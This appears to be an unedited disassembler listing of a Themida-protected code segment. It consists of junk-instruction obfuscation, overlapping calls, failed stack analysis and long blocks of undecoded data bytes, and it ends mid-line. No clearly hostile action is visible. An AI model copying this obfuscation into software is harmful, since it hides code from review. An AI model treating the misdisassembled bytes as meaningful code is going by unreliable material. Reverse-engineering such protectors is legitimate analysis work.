======================================= sub_600512 proc near ; CODE XREF: sub_6004FDj ; FUNCTION CHUNK AT 0060055D SIZE 00000047 BYTES ; FUNCTION CHUNK AT 006005EB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00600601 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 00600653 SIZE 00000001 BYTES ; FUNCTION CHUNK AT 00600656 SIZE 00000046 BYTES pop edx jmp loc_60052B ; --------------------------------------------------------------------------- dd 0D1D1E6E0h, 73A998AAh, 2952F609h, 0D4087744h db 0BCh, 56h, 0ADh ; --------------------------------------------------------------------------- loc_60052B: ; CODE XREF: sub_600512+1j sbb dh, 0B9h push edi mov cx, 9174h pop edi mov di, 8539h mov bx, 3462h sub cx, 53E8h mov di, 21EDh cmc add bx, 0A05Ch push eax jnp loc_60055D call near ptr loc_60055A+2 loope near ptr loc_6004F9+1 dec edi loc_60055A: ; CODE XREF: sub_600512+40p fist word ptr [ebp+59h] sub_600512 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_600512 loc_60055D: ; CODE XREF: sub_600512+3Aj pop ebx movsx ecx, di push edx pusha mov cx, 0AC2Dh clc popa pop edi cmc mov di, 0E787h mov edx, 8D48739h jz loc_60057C mov dh, ch loc_60057C: ; CODE XREF: sub_600512+62j stc mov cx, 0FD36h movsx edi, di movsx ebx, dx movzx ecx, ax call near ptr loc_60059B+3 dec edi outsb adc eax, 0E4B59438h jno short loc_600601 adc [edi-17h], ebx loc_60059B: ; CODE XREF: sub_600512+78p rcl dword ptr [edx+0F58F951h], 1 or byte ptr [eax], 0 ; END OF FUNCTION CHUNK FOR sub_600512 ; --------------------------------------------------------------------------- dd 890F0000h, 2, 0C0B9D7B0h, 0B8330B0Fh, 39CE3E5Dh, 0CE9h dd 73DC5A00h, 0D4CFF2D2h, 31936EA5h, 39B96696h, 0BE830h dd 30920000h, 0FFAEE096h, 0F279FBEEh, 0DFB70FA4h, 81665059h dd 5E54BFD6h db 66h, 81h, 0C8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_600512 loc_6005EB: ; CODE XREF: sub_600512+104j out dx, al out dx, eax movzx ecx, bx mov si, 1FE0h add ebx, 5B11019Ah jmp near ptr loc_600608+3 ; END OF FUNCTION CHUNK FOR sub_600512 ; --------------------------------------------------------------------------- xor al, 3Fh ; START OF FUNCTION CHUNK FOR sub_600512 loc_600601: ; CODE XREF: sub_600512+84j out dx, al cmp esp, [ebx+20698E36h] loc_600608: ; CODE XREF: sub_600512+E8j ror dword ptr [ebx+0AE8h], 0 fadd dword ptr [edx+1F581198h] ; CODE XREF: sub_600512+155j db 3Eh ja short loc_6005EB scasb jnp loc_600622 mov edx, esi loc_600622: ; CODE XREF: sub_600512+108j pop ebx stc mov al, 0E7h mov dl, bh push ecx jbe loc_600632 sbb dl, 4Bh loc_600632: ; CODE XREF: sub_600512+117j pop edi mov cx, bx movzx ebx, cx mov dl, cl adc ebx, 70B70674h jmp loc_600656 ; END OF FUNCTION CHUNK FOR sub_600512 ; --------------------------------------------------------------------------- dw 0E495h ; --------------------------------------------------------------------------- push ecx xchg eax, ebp mov ds:0C3C64727h, al pop edi jmp short loc_600698 ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_600512 loc_600653: ; CODE XREF: sub_600512+187j push es ; END OF FUNCTION CHUNK FOR sub_600512 ; --------------------------------------------------------------------------- db 10h, 6Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_600512 loc_600656: ; CODE XREF: sub_600512+12Fj mov cl, bh jno loc_600672 pusha and cl, 2Fh call near ptr loc_60066C+4 jnp short near ptr loc_600610+2 lodsb aas push esi loc_60066C: ; CODE XREF: sub_600512+150p mov esi, 5BEC083Fh popa loc_600672: ; CODE XREF: sub_600512+146j jz loc_60067D adc ax, 0F12Fh loc_60067D: ; CODE XREF: sub_600512:loc_600672j push edi mov si, bx ; CODE XREF: sub_600512+183j pop eax cmc mov di, 5BEBh pusha push esi call sub_60069C and al, 13h jno short near ptr loc_60070C+4 leave fld qword ptr [esi] jecxz short near ptr loc_60067E+1 inc esi loc_600698: ; CODE XREF: Themida_:00600650j das db 26h jns short loc_600653 ; END OF FUNCTION CHUNK FOR sub_600512 ; =============== S U B R O U T I N E ======================================= sub_60069C proc near ; CODE XREF: sub_600512+177p arg_24 = word ptr 28h pop eax pop eax movsx edi, ax popa mov di, 7494h jnp loc_6006B8 jle loc_6006B8 and ecx, 0E57165Ch loc_6006B8: ; CODE XREF: sub_60069C+Aj ; sub_60069C+10j jo loc_6006DA call sub_6006D7 mov ecx, 40C05436h sub dl, dl and ecx, [ecx-4FDC94F0h] arpl [esp-28h+arg_24], di lodsb test al, 0F1h push edi sub_60069C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6006D7 proc near ; CODE XREF: sub_60069C+22p mov edi, edx pop edi loc_6006DA: ; CODE XREF: sub_60069C:loc_6006B8j movzx eax, dx jo loc_6006F9 pusha sub cx, 0B613h jmp loc_6006F8 ; --------------------------------------------------------------------------- dw 0D88Fh dd 2F78D56Ch, 3ABFC218h ; --------------------------------------------------------------------------- loc_6006F8: ; CODE XREF: sub_6006D7+12j popa loc_6006F9: ; CODE XREF: sub_6006D7+6j pusha mov eax, 1863C954h clc popa mov edi, 1721B05Eh jg loc_600711 loc_60070C: ; CODE XREF: sub_600512+17Ej mov edx, 10AE0Ch loc_600711: ; CODE XREF: sub_6006D7+2Fj movsx edi, ax call sub_600727 and [ecx], dh add eax, 0D295C1BBh xor al, 18h rcl dword ptr [ebx], 1 insb xchg al, dl sub_6006D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_600727 proc near ; CODE XREF: sub_6006D7+3Dp jns loc_60072F mov al, dh loc_60072F: ; CODE XREF: sub_600727j pop ebx cmc stc mov ax, cx mov di, 424Eh jz loc_60074A call sub_600749 not ebp push ecx xor al, 11h sub_600727 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_600749 proc near ; CODE XREF: sub_600727+18p pop ebx loc_60074A: ; CODE XREF: sub_600727+12j movzx ebx, dx movsx ebx, si jmp loc_600763 ; --------------------------------------------------------------------------- db 8Fh, 3Ch, 10h dd 4FFF5504h, 0BCF0854Dh db 52h, 0C7h, 0B9h ; --------------------------------------------------------------------------- loc_600763: ; CODE XREF: sub_600749+7j sbb si, 4122h cmc jmp loc_600777 ; --------------------------------------------------------------------------- dw 0AF7Ah dd 687808FBh db 0B2h, 15h, 0F4h ; --------------------------------------------------------------------------- loc_600777: ; CODE XREF: sub_600749+20j sbb edi, 7EFA6647h mov ah, cl mov esi, edx ja loc_60078B mov si, 944Fh loc_60078B: ; CODE XREF: sub_600749+38j adc edx, 69A41F83h jmp loc_6007A5 ; --------------------------------------------------------------------------- dw 0CF13h dd 1265CBCFh, 8D54D9AEh, 0B4AAC5C4h db 0E3h ; --------------------------------------------------------------------------- loc_6007A5: ; CODE XREF: sub_600749+48j stc mov eax, esi call sub_6007B8 cmc mov dh, 8Fh xor edi, [esi] and edx, ebp aad 0B7h wait lahf sub_600749 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6007B8 proc near ; CODE XREF: sub_600749+5Fp jge loc_6007C1 movsx edx, ax loc_6007C1: ; CODE XREF: sub_6007B8j pop esi js loc_6007D1 jge loc_6007D1 mov bx, si loc_6007D1: ; CODE XREF: sub_6007B8+Aj ; sub_6007B8+10j push eax mov cl, dh pop edx jnz loc_6007DE mov dx, si loc_6007DE: ; CODE XREF: sub_6007B8+1Dj jbe loc_6007FC jmp loc_6007FC ; --------------------------------------------------------------------------- db 0Fh, 1Ah, 0BDh dd 6B3C38EDh, 0D49E51DFh, 1C0D7F7Ah, 0F8AE635Ah ; --------------------------------------------------------------------------- loc_6007FC: ; CODE XREF: sub_6007B8:loc_6007DEj ; sub_6007B8+2Cj add di, 2CB8h jge loc_600809 mov cl, 9Dh loc_600809: ; CODE XREF: sub_6007B8+49j cld mov ebx, eax movzx edx, dx mov si, 9EC9h ja loc_600829 jmp loc_600829 ; --------------------------------------------------------------------------- call dword ptr [esi+7Eh] inc eax clc mov ds:0B76AEEACh, al inc esi loc_600829: ; CODE XREF: sub_6007B8+5Bj ; sub_6007B8+61j mov ah, bh mov edx, esi pusha jmp loc_60083B ; --------------------------------------------------------------------------- sbb byte ptr [esi-22h], 0E2h or [edi+48h], eax aas loc_60083B: ; CODE XREF: sub_6007B8+76j cmc popa adc si, 1090h mov esi, 7EC1F132h jle loc_600850 movsx ecx, si loc_600850: ; CODE XREF: sub_6007B8+8Fj mov di, dx jp loc_60085F sub esi, 7B7B8251h loc_60085F: ; CODE XREF: sub_6007B8+9Bj sbb edx, 0E63BE9Eh pusha mov cx, di popa pusha mov bh, al stc popa call sub_600879 shr dword ptr [ebx-1Ch], cl fist word ptr [eax] sub_6007B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_600879 proc near ; CODE XREF: sub_6007B8+B7p arg_4CC4504B = dword ptr 4CC4504Fh cmc pop ecx mov al, 69h movsx edi, di jnz loc_600889 mov si, di loc_600889: ; CODE XREF: sub_600879+7j cmc pusha jo loc_600897 sbb esi, 72E420AEh loc_600897: ; CODE XREF: sub_600879+12j movsx edx, ax popa sub eax, 70018754h movzx esi, si sbb edi, 2077F04Bh cld jmp loc_6008BB ; --------------------------------------------------------------------------- dd 695CC20Fh, 0FD544916h db 90h db 2Eh, 38h ; --------------------------------------------------------------------------- loc_6008BB: ; CODE XREF: sub_600879+32j stc sub bl, 83h stc push edi jb loc_6008CD jz $+6 loc_6008CD: ; CODE XREF: sub_600879+48j pop edx jmp loc_6008D9 ; --------------------------------------------------------------------------- pusha rcr byte ptr [edi+76h], 62h loc_6008D9: ; CODE XREF: sub_600879+55j jmp loc_6008ED ; --------------------------------------------------------------------------- dw 5785h dd 0D27244AEh, 56AD435Bh, 830FBD5Ch ; --------------------------------------------------------------------------- pop ecx loc_6008ED: ; CODE XREF: sub_600879:loc_6008D9j adc cx, 3F69h mov di, 0D07Ch sub cl, 7 adc dh, 88h mov di, 0C6AAh call near ptr sub_60090C add [esp+ebp*8+4CC4CEE3h], edx sub_600879 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60090C proc far ; CODE XREF: sub_600879+87p ; FUNCTION CHUNK AT 006009BC SIZE 00000025 BYTES add dl, 0DAh pop esi sub ah, 97h jmp loc_600927 ; --------------------------------------------------------------------------- dd 178970DAh, 0D5FF3BDAh, 3CE9B009h db 0AAh, 0C5h, 0B0h ; --------------------------------------------------------------------------- loc_600927: ; CODE XREF: sub_60090C+7j mov bx, si pusha stc mov cx, ax popa jmp loc_600949 ; --------------------------------------------------------------------------- db 0D3h, 8, 0A0h dd 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh db 0CAh ; --------------------------------------------------------------------------- loc_600949: ; CODE XREF: sub_60090C+24j push ebx jmp loc_60095E ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 305E1AE6h, 6F3A2522h, 22F5CAA3h db 0B8h, 0BDh ; --------------------------------------------------------------------------- loc_60095E: ; CODE XREF: sub_60090C+3Ej pop edx mov ax, 7F76h mov ax, cx clc sbb eax, 24C45EB6h mov si, dx movzx eax, dx push esi jp loc_60097C mov bl, ch loc_60097C: ; CODE XREF: sub_60090C+68j pop edi sub ebx, 94D48CDh mov esi, edx pusha jmp loc_600990 ; --------------------------------------------------------------------------- db 89h dd 0FF3BDA17h ; --------------------------------------------------------------------------- loc_600990: ; CODE XREF: sub_60090C+7Aj mov dx, si popa adc dx, 4874h jbe loc_6009A4 pusha movzx edi, cx popa loc_6009A4: ; CODE XREF: sub_60090C+8Dj js loc_6009BC call near ptr locret_6009B5+1 test al, 27h in eax, dx sub bl, [ebp-28h] locret_6009B5: ; CODE XREF: sub_60090C+9Ep retf 8166h sub_60090C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 5EC3C3EFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60090C loc_6009BC: ; CODE XREF: sub_60090C:loc_6009A4j jb loc_6009C6 mov dx, 7C70h loc_6009C6: ; CODE XREF: sub_60090C:loc_6009BCj call near ptr loc_6009D4+1 xor dword ptr [edi+3Fh], 3C24A44Bh push edi lahf loc_6009D4: ; CODE XREF: sub_60090C:loc_6009C6p mov ah, 66h or esi, 66588C47h mov eax, 5E99F64h ; END OF FUNCTION CHUNK FOR sub_60090C ; --------------------------------------------------------------------------- db 3 dup(0) dd 0E932E291h, 6004B3AEh, 0FCEB70Fh, 58Eh, 7F43BA00h, 0F6161B5h dd 0A81h, 4890F00h, 66000000h, 80E7C1BBh, 0E680A6F1h, 0EE9F9BFh dd 99000000h, 186E68B4h, 88726ABBh, 0C5A6C518h, 5E9A4h dd 0FA920000h, 6692347Ch, 684BDF81h, 8ACF8B66h, 65B052EFh dd 850F5758h, 16h, 11E9h, 0F08CA000h, 0E5468E9Dh, 766E5E50h dd 28FC558Bh, 0BB5F216Fh, 3F579D3Fh, 2D11E181h, 0EE9255Ah dd 22000000h, 0B3F3DDA4h, 0A16C4490h, 1A9C8C6Ch, 0D0BF66CCh dd 6E9A0h, 48F0000h, 159B656Ah, 0CE9h, 0D12F8700h, 12AE5DF8h dd 36434EE9h, 52EC806Eh, 0E808E680h, 6, 68F62FD6h, 6660FEB0h dd 66BE9EBBh, 3C4EEA81h, 0DE95A61h, 59000000h, 3BEBC2CCh dd 0B598A60Eh, 4FA1E100h, 8166F98Bh, 0F0530DAh, 0B88h dd 5E800h, 469B0000h, 58AD0928h, 0AE9h, 529F4500h, 3554C198h dd 66662652h, 2FF5DB81h, 0C8A0Fh, 800F0000h, 6, 840Fh dd 0BF0F0000h, 0DEE80C8h, 665252B1h, 0B95FDF8Bh, 511FCB32h dd 208D0Fh, 0E8600000h, 0Dh, 0FEAC156h, 95ED08F6h, 0DA74DBD6h dd 5E8597Ah, 8C000000h, 0DD55F2B0h, 0EE8615Bh, 0E6000000h dd 0B3EA7D08h, 3FE3ABF9h, 7C757787h, 0CEB70F99h, 0FBBF0F58h dd 14E9h, 6846100h, 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h dd 0EE9517Bh, 0BE000000h, 0E6E775D8h, 355A26FEh, 51458F78h dd 8B665904h, 0EFBB66F2h, 0C9C68111h, 5010C9E0h, 48A0Fh dd 0BB660000h, 0E958F5B9h, 0Eh, 0AC1D99B0h, 6FB4F653h dd 7BE89E3Dh, 0BF0FFDFDh, 0F28166DBh, 0EE9A2ACh, 16000000h dd 2FA86AE9h, 0A8931748h, 847119BEh, 0F8DE8B96h, 5F5ED381h dd 0F5532F93h, 8E95Bh, 0B4550000h, 9326F904h, 0C8812089h dd 3BEAE181h, 3800Fh, 0B70F0000h, 0FB8B66C2h, 0BF6624B4h dd 0C78B2DFFh, 3FBA62B4h, 6631B9CBh, 0E8D4F781h, 6E9h dd 0AFFB2400h, 0F95F22B2h, 599202BBh, 0FC78B53h, 38Bh dd 0CBBF0F00h, 0BDB45A56h, 13E9h, 9241F00h, 85A48A41h dd 87CC6CE1h, 1DE8207Ah, 2A74EB25h, 0E8B0Fh, 9E90000h dd 0F9000000h, 7C14DBB6h, 813EA10Eh, 0A9A835BEh, 0E8F18B44h dd 5, 4203496Fh, 58F0F7Ah, 0B8000000h, 245D596Ch, 73DB815Eh dd 6600422Bh, 0E8F8D68Bh, 0Ah, 0A126678Ch, 0B727D266h dd 880F8F7Dh, 3, 5F81CA80h, 8B66F08Bh, 6E8F9h, 0E9C40000h dd 245D9E98h, 0E8816659h, 800F9A73h, 0Ch, 68C0Fh, 0D1810000h dd 2750B111h, 66D68B66h, 0AC5CF681h, 9EEB8166h, 0D38B5649h dd 8E9F95Bh, 38000000h, 0DF2A9732h, 66ADDD06h, 0E9CC47B8h dd 9, 0EECA325Dh, 319D85D8h, 0A9B966F8h, 13860F46h, 0E9000000h dd 0Eh, 0EFF0E32h, 757FF2A2h, 0DF0B9FF4h, 8B668A31h, 17800FFBh dd 0E8000000h, 0Bh, 5DADA8F8h, 0ECA2B831h, 0F7F8D51h, 8Ch dd 5E85F00h, 0FF000000h, 1A22CFB0h, 5ECE8B57h, 3860F5Bh dd 66000000h, 0CE8CE8Bh, 88000000h, 97D943E7h, 6A111A3Bh dd 0B6EF32E0h, 0BE95FB5h, 0A1000000h, 0DCF75116h, 0A6D6963Eh dd 0CE81B190h, 3C49F9EBh, 7E850h, 24F90000h, 0E6CCBD33h dd 0DE885h, 65710000h, 80BCDE50h, 1FC1E531h, 5F2AD321h dd 0F08A5B5Fh, 0BAE9B866h, 0B8FCFA8Bh, 7F0CD447h, 0B866FA8Bh dd 6BB28AAFh, 7A6D33BFh, 66D88A02h, 403BE681h, 0E9DBBF0Fh dd 0Dh, 723B6FC2h, 576B54CFh, 0E4DD47C4h, 6ABF6619h, 1830FEEh dd 0F8000000h, 0FA8BF960h, 0D865B861h, 0B70F79F3h, 60F18BF7h dd 5E951h, 0FF320000h, 5F711E42h, 6061DF8Bh, 2EE48060h dd 0F6B1B861h, 666101CAh, 669DF6B8h, 96B3F38Bh, 850Fh dd 0FF50000h, 0F78BD1B7h, 2880F60h, 52000000h, 0C38B6658h dd 14E86061h, 0F0000000h, 0C29D5CB6h, 3294BD2h, 68ED2D62h dd 0BE8A03D1h, 0FCE79D8Bh, 12E96058h, 0C4000000h, 15A1A795h dd 24BA5261h, 130A2F7Ah, 8FF8031Fh, 0CBC981C5h, 6174D44Ch dd 13850F61h, 0E9000000h, 0Eh, 4B96D67h, 0FE8B616Ch, 15BA2DF1h dd 0BF0F8BACh, 0F2CF81F3h, 0F085A73h, 1A8Eh, 10E96000h dd 0C2000000h, 6F9EDAE0h, 5069DE47h, 0EA119A92h, 0FD4843Fh dd 8B61F2B7h, 0ACC5B9D8h, 5F50626Dh, 8E0FDE8Bh, 6, 6EC3F681h dd 66601A75h, 6060C68Bh, 6E961h, 0EF300000h, 9BA281B6h dd 9E96161h, 0F6000000h, 0A86408A7h, 59090C59h, 0FCC3BF0Fh dd 3810Fh, 8B660000h, 7E9CEh, 0DEF30000h, 6FAE907Dh, 0DF8B6057h dd 0B86661F5h, 0BA668912h, 66FC7757h, 66CF21BAh, 6056CA8Bh dd 0FE9h, 0C9170E00h, 0C6D41A14h, 0F8827802h, 0F8F08174h dd 5B61B6B4h, 0BECE8B66h, 6342183Bh, 6902FCBBh, 53DE8A28h dd 14E8h, 83E8F600h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h dd 0F5B5F43h, 28Fh, 80CE8B00h, 8E960EBh, 2F000000h, 0D06E90BDh dd 0E9A2BB90h, 8, 88E8058Ch, 1FBDEC4Eh, 6E9h, 0B6785600h dd 8B7E4054h, 2870FCFh, 8B000000h, 0D3BF0FCFh, 8B6650FCh dd 10E95FC3h, 29000000h, 5157EE23h, 0ED48A5C6h, 573E7FD5h dd 0BEB1E5A1h, 4D244946h, 0B9FFB70Fh, 73C75B02h, 5E9h dd 0EFADB200h, 80F9D6CDh, 0DF8B6EC7h, 81F1B70Fh, 61DE8BC0h dd 0FE948h, 82A10000h, 0C1EA3B47h, 7D32C36h, 9046D35Dh dd 0B0D98111h, 0E95B97BCh, 8, 88F3C493h, 0AA5C9513h, 0F1B16060h dd 8B0Fh, 0B8610000h, 3101E829h, 0F2806061h, 6E86188h dd 0F6000000h, 0CAA718FAh, 0FE39B8C1h, 0F5A5E64h, 589h dd 0F2816600h, 8E99CFDh, 8A000000h, 0FC3FD22Eh, 66B086FAh dd 2AF4DB81h, 0AE9h, 0F6BC7400h, 10CCC7AFh, 0FC36F974h dd 0CE9h, 32781200h, 0E9F353D7h, 0C5B6FB6Dh, 0FF08BB4h dd 286h, 60CC8A00h, 3840Fh, 0C7800000h, 11E8619Dh, 6000000h dd 8177032Ch, 0C2B85191h, 527A099Fh, 30C52A25h, 525FD08Bh dd 0CE9h, 2D9B9D00h, 167FBD0Ch, 6725A117h, 6E95829h, 36000000h dd 0FFE7A49Ch, 0F7816621h, 9E9D12Ch, 65000000h, 75CA2325h dd 0BAC55451h, 8166C28Bh, 80D82CC0h, 0AEB553C2h, 83B863B7h dd 80425A28h, 99B1CDF3h, 45B8F081h, 0DF8136D8h, 6557862Fh dd 6610E480h, 0E959FAB8h, 11h, 0F374129Bh, 4D6F84B8h, 0C4CC5B25h dd 59B2641Ah, 0EE816616h, 8166D755h, 0B17161D3h, 12E8BEh dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh dd 0C1816660h, 8B66B320h, 0E85F61D0h, 0Ah, 807B6D69h, 65EA7746h dd 8E8271Bh, 11000000h, 487115B1h, 608C09B9h, 0F5E5961h dd 689h, 8C0F00h, 0F000000h, 8Ch, 16B86600h, 3800F4Bh dd 80000000h, 5E847C3h, 0EB000000h, 0E761B0F1h, 0D9816658h dd 0FF93BEDh, 581h, 0F2816600h, 8166B71Bh, 66C698F2h, 66D377BAh dd 0ED26DA81h, 669DC380h, 0BE8D88Bh, 0B6000000h, 4340EF6Ah dd 0EA1BE80h, 0B360CB2Ch, 5B61FC5Ch, 568BC580h, 8A0F60h dd 0E9000000h, 0Ch, 0F602674h, 97A6670Ch, 8B86977Eh, 0C1805961h dd 10E968h, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah dd 0BB660A4Eh, 8166BA1Ah dd 0F02EFF6h, 38Dh, 0B0CD8000h, 13E9E681h, 0FF861F2h, 0E957C6B7h dd 7, 0AE80D3D7h, 59487ADFh, 0DE9h, 0DABD0900h, 0E53F11C9h dd 7403BB0Fh, 5E98122h, 0A8000000h, 2BB4D215h, 0FD2BF0Fh dd 80FCCAB7h, 0BF664FCEh, 8B662A1Ah, 66F88BFBh, 0E94E6EBAh dd 9, 0BEADDB75h, 0E1F73CC4h, 8C381EEh, 0E93D92FBh, 5 dd 0B28E71C3h, 54F381CBh, 0E96B7939h, 9, 51BA61ADh, 3F50EC13h dd 5830F6Ah, 50000000h, 59CAB70Fh, 0FD78B66h, 8Dh, 0C68B6600h dd 12E8h, 57C87600h, 3B0B0BBBh, 219C496Eh, 5FB4A632h, 0E9A65852h dd 7, 0DAB75ECBh, 5FD04B5Bh, 0E2816060h, 707F9561h, 6061F961h dd 5C44BB66h, 0FF98B61h, 0BE66CEBFh, 0D680470Ah, 0CB8A5133h dd 4584B859h, 0EE963C7h, 7D000000h, 4D7E0D01h, 0C208153Eh dd 80BA764Fh, 89EA814Fh, 80596273h, 5156F8CFh, 880F5F5Ah dd 2, 78B755B0h, 0FADDBE66h, 0F61FC60h, 384h, 0C9BF0F00h dd 0C8B70F50h, 7E859h, 9AE0000h, 0CC2AD2FBh, 0BE9E5h, 42F30000h dd 0CA7D280Ah, 0C3D9078Fh, 0C1815A98h, 60A4ECA8h, 6617B3F5h dd 0C681C78Bh, 68E9BB4Ah, 0CE8h, 0C6BBE400h, 3891B6FFh dd 82437AD0h, 0C0B70FA1h, 0F1DB815Bh, 0B30AA329h, 28E0FB7h dd 8A000000h, 0C2BB66E2h, 53B9B54Eh, 68F0Fh, 0EF810000h dd 77E54E4Fh, 9E9535Ah, 0B9000000h, 47A9E4ADh, 36D9F028h dd 28F0F5Fh, 0B2000000h, 0B8E0F0Dh, 0F000000h, 588h, 0C0816600h dd 0E9608B48h, 12h, 26C37F10h, 2308FC35h, 0BC5CC73Fh, 0B7EA599Eh dd 6661B3C6h, 8B66CA8Bh, 0FE9D1h, 5F270000h, 1B10192Fh dd 5111C320h, 0AE201038h, 4880F3Fh, 66000000h, 0B66B02B8h dd 0BB3CB20Eh, 40ADA258h, 8E9FCh, 7B480000h, 0BACA461Dh dd 8B6689ECh, 5EBA66CBh, 0BCC98148h, 0F0D2DF0h, 0FB8BFEBFh dd 0FF98B66h, 0C78BF0BFh, 6820Fh, 0D8810000h, 4417CDC2h dd 6880Fh, 0E7810000h, 47D17263h, 7E9h, 8766D00h, 0EC96A46Dh dd 2162B866h, 0E8F08160h, 56643415h, 8B60615Bh, 2DBB61F2h dd 815AF565h, 0FAB069DAh, 0CE952h, 24EC0000h, 4AAA9B84h dd 5D2F2338h, 8166824Bh, 80A691C1h, 0BE976C3h, 15000000h dd 0C9806460h, 0E25B53FFh, 0FE93A64h, 0C6000000h, 0A8FCD598h dd 579A50A1h, 351B635Dh, 0AE96D5Fh, 85000000h, 474D31F8h dd 852790CCh, 50F98BC2h, 66C68B5Eh, 0F855A9BFh, 0CBC28160h dd 664E4F4Ah, 0E961FB8Bh, 0Bh, 73C7BC73h, 0BD45F3EFh, 66DAD4BEh dd 0FC81D4BEh, 8335BF52h, 80582CB0h, 41B58BC5h, 0AE9h dd 9BC21C00h, 41C9AA38h, 81EA8D4Ah, 0C826ABC3h, 9E876h dd 0D9A80000h, 71E5617Eh, 0E94462B8h, 10h, 0FC2CD996h dd 624BFD51h, 29467A25h, 25CFC9B0h, 0C7EF815Fh, 0F4B3BF6h dd 0DE8F7B7h, 2E000000h, 44882EA0h, 0CDEB5C24h, 7A06A29Ah dd 11E8h, 5BF28600h, 1635E023h, 0FE83FE8Dh, 377E37B9h dd 0F88BE2ADh, 0DA815859h, 181D720Dh, 12E8h, 561B6E00h dd 1CEF3682h, 7FF0DEBCh, 7F00B3E3h, 81BD0773h, 18D005E8h dd 0F505855h, 0E85FD6BFh, 0Ah, 12AB425Ah, 0BE148DA4h, 8B66FBEDh dd 8B0F5AC1h, 0Bh, 820F60h, 0F000000h, 6661C0B7h, 0E088C281h dd 0FD78B66h, 10E9FEBFh, 0F6000000h, 39BBDD5Ch, 6E5E499h dd 770A5B3Bh, 0FDA45FEh, 1780h, 12E900h, 0EA890000h, 3F8A8A07h dd 705A73E4h, 195DC509h, 61B42056h, 9B9958B8h, 0E9D4B03Ah dd 0Bh, 0B59C1D89h, 6CE8597Ch, 81658805h, 0A2793D0h, 4CB8661Ah dd 1F850FD3h, 0E8000000h, 13h, 3EEAB696h, 5C0E9114h, 6F3BEA35h dd 0E4AF1D1Ah, 81FDE9A3h, 6A0B9EE0h, 0E9575A77h, 8, 0A03BF5FDh dd 0BF7080F5h, 0BBEEB358h, 649B6929h, 27CF8166h, 0B8D0F10h dd 0F000000h, 58Ah, 0DB57BB00h, 0FE93FCBh, 0E7000000h dd 0CA438285h, 3FCA0D95h, 0EC762924h, 9E9C2C5h, 0B8000000h dd 0FE0CD82Fh, 0EFA4240Ch, 0BE9h, 0DFF07E00h, 0B87E7E4Ch dd 760074E9h, 810Fh, 0FF90000h, 840FD0B7h, 3, 0E9C18B66h dd 14h, 2DB8B21Dh, 0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh dd 0DE8h, 5C8CAC00h, 8F045273h, 0EC5B0511h, 0E381E538h dd 23516C0Bh, 0FCA0BA59h, 0B70F29D6h, 58B0FF2h, 66000000h dd 69F2EE81h, 0B9F18Ah, 53141AFFh, 6E8h, 0EE1B2600h, 8B2E741Fh dd 8A5A59D9h, 0FE960C5h, 0F9000000h, 0E7196CFCh, 5346D49Ah dd 0B60933B0h, 8B66B02Bh, 60F861C3h, 0AE9h, 0C9EEBD00h dd 0A98F8CEDh, 61317988h, 0E181FA8Bh, 0B1EF4B4h, 53C28B66h dd 11E8h, 0D0A03000h, 1E42FF32h, 0A3DB8371h, 54D1D316h dd 6160C845h, 0CA805A5Ah, 0B70F601Ch, 94D681F2h, 615BB79Bh dd 3820Fh, 0E6800000h, 0FD38B0Eh, 0B966FBBFh, 0B70F62EBh dd 0DB8166FEh, 0BE6602ABh, 8D0F11E4h, 5, 0B265C7BBh, 0F9B70F49h dd 0CEBF0FF8h, 0EE960h, 4360000h, 1988C9A3h, 787F3FCBh dd 8FBB1B19h, 0FE9h, 97794600h, 0F71507DBh, 0BB11CDC0h dd 4DA6BDFDh, 78E0F61h, 0F000000h, 18Eh, 0CB80FC00h, 60B866ACh dd 0B8565141h, 6567210Eh, 7E85E59h, 10000000h, 0E9D1AEDAh dd 8B66BB43h, 8B6659C6h, 0BF0FF8F7h, 0F2BF0FCAh, 5E9h dd 4BFB9000h, 0EA8A3BB0h, 75DB61BFh, 0BE82Fh, 5F650000h dd 2286CCDDh, 0FF28EC2Bh, 68E0FB8h, 81000000h, 0F39F11DAh dd 0CF815E59h, 38B5DDEEh, 0DE9h, 30A82500h, 2504E08Ch dd 0A1A17BACh, 12E9748Fh, 80000000h, 1F0462F8h, 546C29CAh dd 25B537F6h, 0B70EC33h, 90E280AEh, 0EDB9FA8Ah, 0F3F8310h dd 0DE9F9B7h, 40000000h, 0C48F71D2h, 40C18CBFh, 0A14BEAE5h dd 8BDE8B66h, 0E8DE81FEh, 0F4C10F9h, 1781h, 12E900h, 3B6E0000h dd 0AC0F0023h, 0FA9DC425h, 5478947Dh, 0E79C6712h, 9E857h dd 991D0000h, 0EC604D40h, 8BECD80Fh, 0F95B59F1h, 6AF081F5h dd 0F426F2Bh, 1884h, 51BB6000h, 0E9069649h, 0Ch, 7D74660h dd 0BA85651h, 0CA18A786h, 0F78B6661h, 0F86D480h, 587h dd 5ABEBF00h, 816625B2h, 810B99F6h, 3AE551F3h, 0E9816603h dd 0C9813FCBh, 1DE88199h, 83CE8166h, 0E8FE8BE3h, 11h, 0DDDA6918h dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 64B76098h, 5B616160h dd 97B86660h, 48F281CCh, 617937D2h, 800FFA8Bh, 0Ah, 0C1B70F60h dd 0E1E5FDBAh, 8166614Fh, 0F73BEC3h, 85h, 5E900h, 45F70000h dd 0F9B99289h, 8E8h, 124CD300h, 